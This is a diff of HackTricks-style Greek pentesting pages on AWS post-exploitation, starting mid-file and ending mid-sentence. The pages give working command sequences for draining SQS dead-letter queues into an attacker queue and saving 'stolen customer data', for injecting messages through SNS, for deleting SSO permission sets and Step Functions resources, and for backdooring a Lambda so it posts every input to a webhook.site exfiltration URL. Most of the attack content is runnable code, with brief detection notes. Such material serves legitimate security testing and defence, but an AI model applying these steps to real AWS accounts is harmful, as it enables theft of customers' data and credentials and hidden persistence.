ένα DLQ που περιέχει αποτυχημένες προσπάθειες επεξεργασίας παραγγελιών πελατών. + +1) **Discover and examine the victim DLQ** +```bash +# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) +aws sqs list-queues --queue-name-prefix dlq + +# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq +VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq" +SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# Check how many messages are in the DLQ (potential treasure trove!) +aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ +--attribute-names ApproximateNumberOfMessages +# Output might show: "ApproximateNumberOfMessages": "1847" +``` +2) **Δημιουργήστε attacker-controlled ουρά προορισμού** +```bash +# Create our exfiltration queue +ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) +ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text) + +echo "Created exfiltration queue: $ATTACKER_Q_ARN" +``` +3) **Εκτέλεσε την μαζική κλοπή μηνυμάτων** +```bash +# Start moving ALL messages from victim DLQ to our queue +# This operation will transfer thousands of failed orders containing customer data +echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN" +TASK_RESPONSE=$(aws sqs start-message-move-task \ +--source-arn "$SRC_ARN" \ +--destination-arn "$ATTACKER_Q_ARN" \ +--max-number-of-messages-per-second 100) + +echo "Move task started: $TASK_RESPONSE" + +# Monitor the theft progress +aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 +``` +4) **Συλλογή των κλεμμένων ευαίσθητων δεδομένων** +```bash +# Receive the exfiltrated customer data +echo "Receiving stolen customer data..." +aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--attribute-names All --message-attribute-names All \ +--max-number-of-messages 10 --wait-time-seconds 5 + +# Example of what an attacker might see: +# { +# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}", +# "MessageId": "12345-abcd-6789-efgh" +# } + +# Continue receiving all messages in batches +while true; do +MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \ +--max-number-of-messages 10 --wait-time-seconds 2 --output json) + +if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then +echo "No more messages - exfiltration complete!" +break +fi + +echo "Received batch of stolen data..." +# Process/save the stolen customer data +echo "$MESSAGES" >> stolen_customer_data.json +done +``` +### Δια-λογαριασμικές σημειώσεις +- Η ουρά προορισμού πρέπει να έχει resource policy που επιτρέπει στον principal του θύματος να `sqs:SendMessage` (και, αν χρησιμοποιείται, KMS grants/permissions). + +## Γιατί αυτή η επίθεση είναι αποτελεσματική + +1. **Legitimate AWS Feature**: Uses built-in AWS functionality, making it hard to detect as malicious +2. **Bulk Operation**: Transfers thousands of messages quickly instead of slow individual access +3. **Historical Data**: DLQs accumulate sensitive data over weeks/months +4. **Under the Radar**: Many organizations don't monitor DLQ access closely +5. **Cross-Account Capable**: Can exfiltrate to attacker's own AWS account if permissions allow + +## Ανίχνευση και Πρόληψη + +### Ανίχνευση +Παρακολουθήστε το CloudTrail για ύποπτες κλήσεις API `StartMessageMoveTask`: +```json +{ +"eventName": "StartMessageMoveTask", +"sourceIPAddress": "suspicious-ip", +"userIdentity": { +"type": "IAMUser", +"userName": "compromised-user" +}, +"requestParameters": { +"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq", +"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue" +} +} +``` +### Πρόληψη +1. **Ελάχιστη Άδεια**: Περιορίστε τις άδειες `sqs:StartMessageMoveTask` μόνο στους απαραίτητους ρόλους +2. **Παρακολούθηση DLQs**: Ρυθμίστε CloudWatch alarms για ασυνήθη δραστηριότητα στα DLQs +3. **Πολιτικές Δια-Λογαριασμών**: Ελέγξτε προσεκτικά τις πολιτικές ουρών SQS που επιτρέπουν πρόσβαση από άλλους λογαριασμούς +4. **Κρυπτογράφηση DLQs**: Χρησιμοποιήστε SSE-KMS με περιορισμένες πολιτικές κλειδιού +5. **Τακτικός Καθαρισμός**: Μην αφήνετε ευαίσθητα δεδομένα να συσσωρεύονται στα DLQs επ' αόριστον + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md new file mode 100644 index 000000000..f35a1e14c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md @@ -0,0 +1,54 @@ +# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy + +{{#include ../../../../banners/hacktricks-training.md}} + +## Περιγραφή + +Καταχράσου την resource policy της SQS queue ώστε ένα attacker-controlled SNS topic να δημοσιεύει μηνύματα σε μια victim SQS queue. Σε ίδιο account, μια SQS subscription σε ένα SNS topic επιβεβαιώνεται αυτόματα· σε cross-account, πρέπει να διαβάσεις το token SubscriptionConfirmation από την queue και να καλέσεις το ConfirmSubscription. Αυτό επιτρέπει ανεπιθύμητη message injection που οι downstream consumers μπορεί να εμπιστευτούν άθελά τους. + +### Απαιτήσεις +- Ικανότητα να τροποποιήσεις την target SQS queue resource policy: `sqs:SetQueueAttributes` στην victim queue. +- Ικανότητα να δημιουργήσεις/δημοσιεύσεις σε ένα SNS topic υπό έλεγχο του attacker: `sns:CreateTopic`, `sns:Publish`, και `sns:Subscribe` στον attacker account/topic. +- Μόνο cross-account: προσωρινό `sqs:ReceiveMessage` στην victim queue για να διαβάσεις το token επιβεβαίωσης και να καλέσεις `sns:ConfirmSubscription`. + +### Εκμετάλλευση εντός του ίδιου account +```bash +REGION=us-east-1 +# 1) Create victim queue and capture URL/ARN +Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Create attacker SNS topic +TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text) + +# 3) Allow that SNS topic to publish to the queue (queue resource policy) +cat > /tmp/ht-sqs-sns-policy.json < /tmp/ht-attrs.json <sqs} --region $REGION +aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All +``` +### Σημειώσεις μεταξύ λογαριασμών +- Η policy της ουράς παραπάνω πρέπει να επιτρέψει το ξένο `TOPIC_ARN` (λογαριασμός επιτιθέμενου). +- Οι συνδρομές δεν επιβεβαιώνονται αυτόματα. Χορηγήστε στον εαυτό σας προσωρινά `sqs:ReceiveMessage` στην ουρά του θύματος για να διαβάσετε το μήνυμα `SubscriptionConfirmation` και στη συνέχεια καλέστε `sns confirm-subscription` με το `Token`. + +### Επιπτώσεις +**Πιθανή επίπτωση**: Συνεχής μη αιτηθείσα εισαγωγή μηνυμάτων σε αξιόπιστη SQS ουρά μέσω SNS, ενδεχομένως προκαλώντας ανεπιθύμητη επεξεργασία, ρύπανση δεδομένων ή κατάχρηση ροής εργασίας. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md similarity index 62% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md index 829e48ee1..52df785e7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md @@ -1,18 +1,18 @@ -# AWS - SSO & identitystore Post Exploitation +# AWS - SSO & identitystore Μετά-Εκμετάλλευση -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SSO & identitystore -Για περισσότερες πληροφορίες ελέγξτε: +Για περισσότερες πληροφορίες δείτε: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -Αυτές οι άδειες μπορούν να χρησιμοποιηθούν για να διαταράξουν τις άδειες: +Αυτά τα permissions μπορούν να χρησιμοποιηθούν για να διαταράξουν permissions: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md deleted file mode 100644 index 046534e11..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ /dev/null @@ -1,185 +0,0 @@ -# AWS - Step Functions Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία AWS, ελέγξτε: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### `states:RevealSecrets` - -Αυτή η άδεια επιτρέπει να **αποκαλύπτετε μυστικά δεδομένα μέσα σε μια εκτέλεση**. Για αυτό, είναι απαραίτητο να ρυθμίσετε το επίπεδο επιθεώρησης σε TRACE και την παράμετρο revealSecrets σε true. - -
- -### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` - -Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να διαγράψει μόνιμα τις μηχανές κατάστασης, τις εκδόσεις τους και τα ψευδώνυμα. Αυτό μπορεί να διαταράξει κρίσιμες ροές εργασίας, να οδηγήσει σε απώλεια δεδομένων και να απαιτήσει σημαντικό χρόνο για την αποκατάσταση και την αποκατάσταση των επηρεαζόμενων μηχανών κατάστασης. Επιπλέον, θα επέτρεπε σε έναν επιτιθέμενο να καλύψει τα ίχνη που χρησιμοποιήθηκαν, να διαταράξει τις ποινικές έρευνες και ενδεχομένως να παραλύσει τις λειτουργίες αφαιρώντας βασικές διαδικασίες αυτοματοποίησης και ρυθμίσεις κατάστασης. - -> [!NOTE] -> -> - Διαγράφοντας μια μηχανή κατάστασης διαγράφετε επίσης όλες τις σχετικές εκδόσεις και ψευδώνυμα της. -> - Διαγράφοντας ένα ψευδώνυμο μηχανής κατάστασης δεν διαγράφετε τις εκδόσεις της μηχανής κατάστασης που αναφέρονται σε αυτό το ψευδώνυμο. -> - Δεν είναι δυνατή η διαγραφή μιας έκδοσης μηχανής κατάστασης που αναφέρεται αυτή τη στιγμή από ένα ή περισσότερα ψευδώνυμα. -```bash -# Delete state machine -aws stepfunctions delete-state-machine --state-machine-arn -# Delete state machine version -aws stepfunctions delete-state-machine-version --state-machine-version-arn -# Delete state machine alias -aws stepfunctions delete-state-machine-alias --state-machine-alias-arn -``` -- **Πιθανές Επιπτώσεις**: Διακοπή κρίσιμων ροών εργασίας, απώλεια δεδομένων και χρόνο διακοπής λειτουργίας. - -### `states:UpdateMapRun` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να χειριστεί τη ρύθμιση αποτυχίας του Map Run και τη ρύθμιση παράλληλης εκτέλεσης, έχοντας τη δυνατότητα να αυξήσει ή να μειώσει τον μέγιστο αριθμό εκτελέσεων υποροών εργασίας που επιτρέπονται, επηρεάζοντας άμεσα την απόδοση της υπηρεσίας. Επιπλέον, ένας επιτιθέμενος θα μπορούσε να παραποιήσει το ποσοστό και τον αριθμό των ανεκτών αποτυχιών, έχοντας τη δυνατότητα να μειώσει αυτή την τιμή στο 0, έτσι ώστε κάθε φορά που ένα στοιχείο αποτυγχάνει, ολόκληρη η εκτέλεση του χάρτη θα αποτυγχάνει, επηρεάζοντας άμεσα την εκτέλεση της μηχανής κατάστασης και δυνητικά διακόπτοντας κρίσιμες ροές εργασίας. -```bash -aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] -``` -- **Πιθανές Επιπτώσεις**: Επιβράδυνση της απόδοσης και διακοπή κρίσιμων ροών εργασίας. - -### `states:StopExecution` - -Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να είναι σε θέση να σταματήσει την εκτέλεση οποιασδήποτε μηχανής κατάστασης, διακόπτοντας τις τρέχουσες ροές εργασίας και διαδικασίες. Αυτό θα μπορούσε να οδηγήσει σε ατελείς συναλλαγές, σταμάτημα επιχειρηματικών λειτουργιών και πιθανή διαφθορά δεδομένων. - -> [!WARNING] -> Αυτή η ενέργεια δεν υποστηρίζεται από **express state machines**. -```bash -aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] -``` -- **Πιθανές Επιπτώσεις**: Διακοπή τρεχουσών ροών εργασίας, λειτουργικός χρόνος διακοπής και πιθανή διαφθορά δεδομένων. - -### `states:TagResource`, `states:UntagResource` - -Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει ετικέτες από τους πόρους Step Functions, διαταράσσοντας την κατανομή κόστους της οργάνωσής σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης με βάση τις ετικέτες. -```bash -aws stepfunctions tag-resource --resource-arn --tags Key=,Value= -aws stepfunctions untag-resource --resource-arn --tag-keys -``` -**Πιθανές Επιπτώσεις**: Διαταραχή της κατανομής κόστους, παρακολούθησης πόρων και πολιτικών ελέγχου πρόσβασης με βάση ετικέτες. - ---- - -### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` - -Ένας επιτιθέμενος που παραβιάζει έναν χρήστη ή ρόλο με τις παρακάτω άδειες: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "AllowUpdateStateMachine", -"Effect": "Allow", -"Action": "states:UpdateStateMachine", -"Resource": "*" -}, -{ -"Sid": "AllowUpdateFunctionCode", -"Effect": "Allow", -"Action": "lambda:UpdateFunctionCode", -"Resource": "*" -} -] -} -``` -...μπορεί να διεξάγει μια **υψηλής επίδρασης και κρυφή επίθεση μετά την εκμετάλλευση** συνδυάζοντας την υποκλοπή Lambda με την παραποίηση λογικής Step Function. - -Αυτό το σενάριο υποθέτει ότι το θύμα χρησιμοποιεί **AWS Step Functions για να οργανώσει ροές εργασίας που επεξεργάζονται ευαίσθητα δεδομένα**, όπως διαπιστευτήρια, tokens ή PII. - -Παράδειγμα κλήσης θύματος: -```bash -aws stepfunctions start-execution \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim -``` -Αν η Step Function είναι ρυθμισμένη να καλεί μια Lambda όπως το `LegitBusinessLogic`, ο επιτιθέμενος μπορεί να προχωρήσει με **δύο κρυφές παραλλαγές επίθεσης**: - ---- - -#### Ενημέρωση της συνάρτησης lambda - -Ο επιτιθέμενος τροποποιεί τον κώδικα της συνάρτησης Lambda που χρησιμοποιείται ήδη από την Step Function (`LegitBusinessLogic`) για να εξάγει σιωπηλά τα δεδομένα εισόδου. -```python -# send_to_attacker.py -import requests - -def lambda_handler(event, context): -requests.post("https://webhook.site//exfil", json=event) -return {"status": "exfiltrated"} -``` - -```bash -zip function.zip send_to_attacker.py - -aws lambda update-function-code \ ---function-name LegitBusinessLogic \ ---zip-file fileb://function.zip -profile attacker -``` ---- - -#### Προσθήκη Κακόβουλης Κατάστασης στη Λειτουργία Βημάτων - -Εναλλακτικά, ο επιτιθέμενος μπορεί να εισάγει μια **κατάσταση εξαγωγής** στην αρχή της ροής εργασίας ενημερώνοντας τον ορισμό της Λειτουργίας Βημάτων. -```malicious_state_definition.json -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "OriginalState", -"States": { -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", -"End": true -} -} -} - -``` - -```bash -aws stepfunctions update-state-machine \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---definition file://malicious_state_definition.json --profile attacker -``` -Ο επιτιθέμενος μπορεί ακόμη πιο διακριτικά να ενημερώσει τον ορισμό κατάστασης σε κάτι τέτοιο -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "ExfiltrateSecrets", -"States": { -"ExfiltrateSecrets": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", -"InputPath": "$", -"ResultPath": "$.exfil", -"Next": "OriginalState" -}, -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", -"End": true -} -} -} -όπου το θύμα δεν θα συνειδητοποιήσει τη διαφορά - ---- - -### Ρύθμιση Θύματος (Πλαίσιο για Εκμετάλλευση) - -- Μια Step Function (`LegitStateMachine`) χρησιμοποιείται για την επεξεργασία ευαίσθητης εισόδου χρήστη. -- Καλεί μία ή περισσότερες Lambda functions όπως `LegitBusinessLogic`. - ---- - -**Πιθανές Επιπτώσεις**: -- Σιωπηλή εξαγωγή ευαίσθητων δεδομένων, συμπεριλαμβανομένων μυστικών, διαπιστευτηρίων, κλειδιών API και PII. -- Καμία ορατή σφάλματα ή αποτυχίες στην εκτέλεση της ροής εργασίας. -- Δύσκολο να ανιχνευθεί χωρίς έλεγχο του κώδικα Lambda ή των ιχνών εκτέλεσης. -- Δυνατότητα μακροχρόνιας επιμονής αν η πίσω πόρτα παραμείνει στον κώδικα ή στη λογική ASL. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md new file mode 100644 index 000000000..0aa5cfc3a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -0,0 +1,185 @@ +# AWS - Step Functions Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +Για περισσότερες πληροφορίες σχετικά με αυτή την υπηρεσία AWS, δείτε: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### `states:RevealSecrets` + +Αυτό το permission επιτρέπει την αποκάλυψη μυστικών δεδομένων μέσα σε μια εκτέλεση. Για αυτό, χρειάζεται να οριστεί το Inspection level σε TRACE και η παράμετρος `revealSecrets` σε `true`. + +
+ +### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` + +Ένας attacker με αυτά τα permissions θα μπορούσε να διαγράψει μόνιμα state machines, τις versions τους και aliases. Αυτό μπορεί να διαταράξει κρίσιμα workflows, να προκαλέσει απώλεια δεδομένων και να απαιτήσει σημαντικό χρόνο για την ανάκτηση και την επαναφορά των επηρεαζόμενων state machines. Επιπλέον, θα επέτρεπε σε έναν attacker να καλύψει τα χρησιμοποιημένα ίχνη, να διαταράξει forensic investigations και ενδεχομένως να παραλύσει τις operations αφαιρώντας απαραίτητες διαδικασίες automation και state configurations. + +> [!NOTE] +> +> - Διαγράφοντας ένα state machine, διαγράφετε επίσης όλες τις συσχετιζόμενες versions και aliases. +> - Διαγράφοντας ένα state machine alias, δεν διαγράφετε τις state machine versions που αναφέρονται σε αυτό το alias. +> - Δεν είναι δυνατή η διαγραφή μιας state machine version που αυτή τη στιγμή αναφέρεται από ένα ή περισσότερα aliases. +```bash +# Delete state machine +aws stepfunctions delete-state-machine --state-machine-arn +# Delete state machine version +aws stepfunctions delete-state-machine-version --state-machine-version-arn +# Delete state machine alias +aws stepfunctions delete-state-machine-alias --state-machine-alias-arn +``` +- **Πιθανός αντίκτυπος**: Διατάραξη κρίσιμων ροών εργασίας, απώλεια δεδομένων και διακοπή λειτουργίας. + +### `states:UpdateMapRun` + +Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να χειριστεί τη ρύθμιση αποτυχίας του Map Run και την παράμετρο parallel, έχοντας τη δυνατότητα να αυξήσει ή να μειώσει τον μέγιστο αριθμό επιτρεπόμενων εκτελέσεων παιδικών ροών εργασίας, επηρεάζοντας άμεσα την απόδοση της υπηρεσίας. Επιπλέον, ένας επιτιθέμενος θα μπορούσε να αλλοιώσει το ποσοστό και τον αριθμό των ανεκτών σφαλμάτων, μειώνοντας αυτήν την τιμή στο 0, ώστε κάθε φορά που ένα στοιχείο αποτυγχάνει, ολόκληρο το Map Run να αποτυγχάνει, επηρεάζοντας άμεσα την εκτέλεση της state machine και ενδεχομένως διαταράσσοντας κρίσιμες ροές εργασίας. +```bash +aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] +``` +- **Πιθανός Αντίκτυπος**: Υποβάθμιση απόδοσης και διακοπή κρίσιμων ροών εργασίας. + +### `states:StopExecution` + +Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να σταματήσει την εκτέλεση οποιασδήποτε state machine, διαταράσσοντας τρέχουσες ροές εργασίας και διαδικασίες. Αυτό μπορεί να οδηγήσει σε μη ολοκληρωμένες συναλλαγές, παύση επιχειρησιακών λειτουργιών και πιθανή διαφθορά δεδομένων. + +> [!WARNING] +> Αυτή η ενέργεια δεν υποστηρίζεται από **express state machines**. +```bash +aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] +``` +- **Πιθανός αντίκτυπος**: Διατάραξη των τρεχουσών ροών εργασίας, διακοπή λειτουργίας και πιθανή διαφθορά δεδομένων. + +### `states:TagResource`, `states:UntagResource` + +Ένας επιτιθέμενος θα μπορούσε να προσθέσει, να τροποποιήσει ή να αφαιρέσει tags από πόρους του Step Functions, διαταράσσοντας την κατανομή κόστους του οργανισμού σας, την παρακολούθηση πόρων και τις πολιτικές ελέγχου πρόσβασης που βασίζονται σε tags. +```bash +aws stepfunctions tag-resource --resource-arn --tags Key=,Value= +aws stepfunctions untag-resource --resource-arn --tag-keys +``` +**Πιθανός Αντίκτυπος**: Διατάραξη της κατανομής κόστους, της παρακολούθησης πόρων και των πολιτικών ελέγχου πρόσβασης βάσει ετικετών. + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +Ένας attacker που παραβιάσει έναν χρήστη ή ρόλο με τα ακόλουθα δικαιώματα: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...μπορεί να διεξάγει μια **high-impact and stealthy post-exploitation attack** συνδυάζοντας Lambda backdooring με Step Function logic manipulation. + +Αυτό το σενάριο υποθέτει ότι το θύμα χρησιμοποιεί **AWS Step Functions για να ορχηστρώσει workflows που επεξεργάζονται ευαίσθητο input**, όπως credentials, tokens, ή PII. + +Παράδειγμα κλήσης του θύματος: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +Εάν το Step Function είναι διαμορφωμένο να καλεί ένα Lambda όπως `LegitBusinessLogic`, ο attacker μπορεί να προχωρήσει με **two stealthy attack variants**: + +--- + +#### Ενημερώθηκε η lambda function + +Ο attacker τροποποιεί τον κώδικα της Lambda function που ήδη χρησιμοποιείται από το Step Function (`LegitBusinessLogic`) για να silently exfiltrate input data. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Προσθήκη Κακόβουλης Κατάστασης στο Step Function + +Εναλλακτικά, ο επιτιθέμενος μπορεί να εισάγει μια **exfiltration state** στην αρχή της ροής εργασίας ενημερώνοντας τον ορισμό του Step Function. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +Ο attacker μπορεί να είναι ακόμη πιο stealthy και να ενημερώσει τον ορισμό της κατάστασης σε κάτι τέτοιο +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +όπου ο victim δεν θα αντιληφθεί τη διαφορά + +--- + +### Victim Setup (Context for Exploit) + +- A Step Function (`LegitStateMachine`) χρησιμοποιείται για την επεξεργασία ευαίσθητης εισόδου χρήστη. +- Καλεί μία ή περισσότερες Lambda functions όπως `LegitBusinessLogic`. + +--- + +**Πιθανός Αντίκτυπος**: +- Σιωπηλή exfiltration ευαίσθητων δεδομένων, συμπεριλαμβανομένων secrets, credentials, API keys, και PII. +- Χωρίς εμφανή σφάλματα ή αποτυχίες στην εκτέλεση του workflow. +- Δύσκολο να ανιχνευθεί χωρίς έλεγχο (audit) του κώδικα των Lambda ή των execution traces. +- Επιτρέπει μακροχρόνια persistence αν το backdoor παραμείνει στον κώδικα ή στη λογική ASL. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md similarity index 59% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md index 072fe2b36..860936c84 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - STS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS Για περισσότερες πληροφορίες: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### Από IAM Creds στο Console -Εάν καταφέρατε να αποκτήσετε κάποια IAM credentials, ίσως σας ενδιαφέρει να αποκτήσετε πρόσβαση στην **web console** χρησιμοποιώντας τα παρακάτω εργαλεία.\ +Εάν καταφέρατε να αποκτήσετε κάποιες IAM credentials μπορεί να σας ενδιαφέρει η **πρόσβαση στο web console** χρησιμοποιώντας τα παρακάτω εργαλεία.\ Σημειώστε ότι ο χρήστης/ρόλος πρέπει να έχει την άδεια **`sts:GetFederationToken`**. #### Προσαρμοσμένο script @@ -55,7 +55,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co ``` #### aws_consoler -Μπορείτε να **δημιουργήσετε έναν σύνδεσμο για την web κονσόλα** με [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). +Μπορείτε να **δημιουργήσετε έναν σύνδεσμο προς το web console** με [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -64,22 +64,22 @@ pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` > [!WARNING] -> Βεβαιωθείτε ότι ο IAM user έχει την άδεια `sts:GetFederationToken`, ή παρέχετε έναν role για να αναλάβει. +> Βεβαιώσου ότι ο χρήστης IAM έχει την άδεια `sts:GetFederationToken`, ή δώσε έναν ρόλο για ανάληψη. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) είναι ένα εργαλείο για την ασφαλή αποθήκευση και πρόσβαση σε διαπιστευτήρια AWS σε περιβάλλον ανάπτυξης. +[**aws-vault**](https://github.com/99designs/aws-vault) είναι ένα εργαλείο για ασφαλή αποθήκευση και πρόσβαση σε AWS credentials σε περιβάλλον ανάπτυξης. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` > [!NOTE] -> Μπορείτε επίσης να χρησιμοποιήσετε **aws-vault** για να αποκτήσετε μία **συνεδρία κονσόλας προγράμματος περιήγησης** +> Μπορείτε επίσης να χρησιμοποιήσετε το **aws-vault** για να 